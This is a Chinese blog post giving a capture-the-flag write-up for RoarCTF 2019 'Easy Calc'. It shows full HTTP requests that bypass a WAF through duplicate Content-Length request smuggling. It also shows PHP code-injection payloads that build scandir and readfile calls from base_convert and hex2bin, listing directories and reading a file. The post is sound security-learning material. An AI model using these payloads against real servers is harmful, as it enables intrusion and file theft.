刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

[RoarCTF 2019]Easy Calc Writeup

打开题目后是一个计算器

1.png

他的计算接口是calc.php,直接访问能看到源码

2.png

可以看到他过滤了一些特殊字符,但是不光这些字符,测试发现有waf,很多字符发送过去直接返回403。

看了writeup发现是利用http走私漏洞绕过waf。

原理可以看 https://paper.seebug.org/1048/ 这篇文章。

php $_request 相同字段名优先接收post参数,所以我们发一个post请求,附带两个Content-Length,并带一个post参数 一个get参数,因为禁掉了一些字符,这里用到几个php几个数学函数。我们首先要构造列目录的payload,肯定要使用scandir函数,尝试构造列举根目录下的文件。scandir可以用base_convert函数构造,但是利用base_convert只能解决a~z的利用,因为根目录需要/符号,且不在a~z,所以需要hex2bin(dechex(47))这种构造方式,dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符

POST /calc.php?num=var_dump(base_convert(61693386291,10,36)(hex2bin(dechex(47)))) HTTP/1.1
Host: node3.buuoj.cn:28718
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9,und;q=0.8
Connection: close
Referer: http://node3.buuoj.cn:28838/
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Content-Length: 5

num=1

3.png

得到flag文件名f1agg

然后构造readfile(/f1agg)

POST /calc.php?num=base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36)) HTTP/1.1
Host: node3.buuoj.cn:28732
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9,und;q=0.8
Connection: close
Referer: http://node3.buuoj.cn:28838/
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Content-Length: 7

num=111

4.png

还有一种解法,不知道什么原理,就是在? num=11;.. 中间加上空格,例如:

http://node3.buuoj.cn:28718/calc.php?%20num=1111;var_dump(base_convert(61693386291,10,36)(hex2bin(dechex(47))))

5.png


或者var_dump(scandir(dirname(dirname(dirname(getcwd())))));

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.